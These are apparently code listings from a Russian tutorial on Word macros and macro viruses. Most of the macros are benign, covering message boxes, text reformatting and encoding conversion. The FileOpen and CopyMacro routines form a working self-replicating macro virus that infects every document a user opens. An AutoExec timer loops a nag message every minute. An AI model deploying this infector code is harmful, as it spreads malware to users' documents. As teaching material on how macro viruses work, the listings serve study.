WordBasic и макровирусы

Sub Hello()
 MsgBox "Hello Word", vbInformation, "Мое первое сообщение"

End Sub

Sub Hello()
 If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then
 Application.Quit
 End If 

End Sub

Sub Hello()
Application.DisplayAlerts = False
 If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then
 Application.Quit wdDoNotSaveChanges
 End If

End Sub

Sub AutoExec()
 Application.OnTime Now + TimeValue("00:01:00"), "Message"

End Sub



Sub Message()
 MsgBox ("Теперь можно и покурить...")
 Application.OnTime Now + TimeValue("00:01:00"), "Message"

End Sub

Отчет по продажам рогов и копыт.

За истекший период рога и копыта

были проданы Мурманским филиалом

на сумму девятнадцать миллионов 

семьдесят тысяч теньге, Астраханским

филиалом на пятнадцать миллионов...

Sub FormatDosText()
 Selection.WholeStory Rem Выделяем весь текст
 Selection.Find.ClearFormatting Rem Снимаем предыдущие условия поиска
 Selection.Find.Replacement.ClearFormatting Rem Снимаем предыдущие условия замены


 With Selection.Find Rem Задаем новые условия поиска и замены
 .Text = "^p^p" Rem Замена двух концов абзаца на символ табуляции
 .Replacement.Text = "^t"
 .Forward = True
 .Wrap = wdFindContinue
 .Format = False
 .MatchCase = False
 .MatchWholeWord = False
 .MatchWildcards = False
 .MatchSoundsLike = False
 .MatchAllWordForms = False
 End With
 Selection.Find.Execute Replace:=wdReplaceAll Rem Производим замену
 With Selection.Find
 .Text = "^p" Rem Замена конца абзаца на пробел
 .Replacement.Text = " "
 .Forward = True
 .Wrap = wdFindContinue
 .Format = False
 .MatchCase = False
 .MatchWholeWord = False
 .MatchWildcards = False
 .MatchSoundsLike = False
 .MatchAllWordForms = False
 End With
 Selection.Find.Execute Replace:=wdReplaceAll
 With Selection.Find
 .Text = "^t" Rem Замена символа табуляции на символ конца абзаца
 .Replacement.Text = "^p"
 .Forward = True
 .Wrap = wdFindContinue
 .Format = False
 .MatchCase = False
 .MatchWholeWord = False
 .MatchWildcards = False
 .MatchSoundsLike = False
 .MatchAllWordForms = False
 End With
 Selection.Find.Execute Replace:=wdReplaceAll

End Sub

Sub KoiToWin()
KoiCodePage = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯабвгдежзийклмнопрстуфхцчшщьыъэюя"

Rem задали строку кодировки Windows

WinCodePage = "бвчздецъйклмнопртуфхжигюыэшщяьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАС"

Rem задали строку кодировки Koi
 Selection.Find.ClearFormatting

Rem Заменяем только не курсив
 Selection.Find.Font.Italic = False 
 Selection.Find.Replacement.ClearFormatting
 Selection.Find.Replacement.Font.Italic = True 

Rem Заменяем на курсив

Rem Обратите внимание, замену производится с учетом форматирования.

Rem Выделяем курсивом уже преобразованные буквы, иначе некоторые буквы будут 

Rem преобразованы дважды.
 
 For i = 1 To Len(WinCodePage) rem Функция Len определяет длину строки
 MySearch = Mid(KoiCodePage, i, 1) 
 MyReplace = Mid(WinCodePage, i, 1)

Rem Функция Mid вырезает из строки WinCodePage i-тую букву


 With Selection.Find
 .Text = MySearch
 .Replacement.Text = MyReplace
 .Forward = True
 .Wrap = wdFindContinue
 .Format = True
 .MatchCase = True
 .MatchWholeWord = False
 .MatchWildcards = False
 .MatchSoundsLike = False
 .MatchAllWordForms = False
 End With
 Selection.Find.Execute Replace:=wdReplaceAll
 Next i
 

Rem Снимаем курсив
 Selection.WholeStory
 With Selection.Font
 .Italic = False
 End With

End Sub

Sub Autoexec()
 MsgBox "Не допустим размножения вирусов!"
 WordBasic.DisableAutoMacros

End Sub

Sub FileOpen()
 InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name

Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.
 Dialogs(wdDialogFileOpen).Show

Rem Имитируется диалог Файл->Открыть файл
 Infected = False
 For Each VbComponent In ActiveDocument.VBProject.VBComponents
 If VbComponent.Name = "Virus" Then Infected = True

Rem Здесь открытый пользователем файл проверяется на наличие вируса
 Next
 If Not Infected Then

Rem Если файл не заражен, вирус дописывается в файл
 CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath
 End If

End Sub



Public Sub CopyMacro(NewDestination, NewSource)
 On Error GoTo nextline
 Application.OrganizerCopy Source:= _
 NewSource, Destination:=NewDestination, Name:="Virus", Object:= _
 WdOrganizerObjectProjectItems

Rem копируем модуль с вирусом 
 ActiveDocument.Save 

Rem сохраняем документ

nextline:

End Sub

Sub Navigator()
 MySHell = Shell("C:\netscape\program\netscape.exe", vbNormalFocus)
 SendKeys "{ENTER}", True 

Rem имитируем нажатие на клавишу enter
 SendKeys "{TAB}", True

Rem имитируем нажатие на клавишу tab
 SendKeys "http://www.diamondteam.ru", True
 SendKeys "{ENTER}", True

End Sub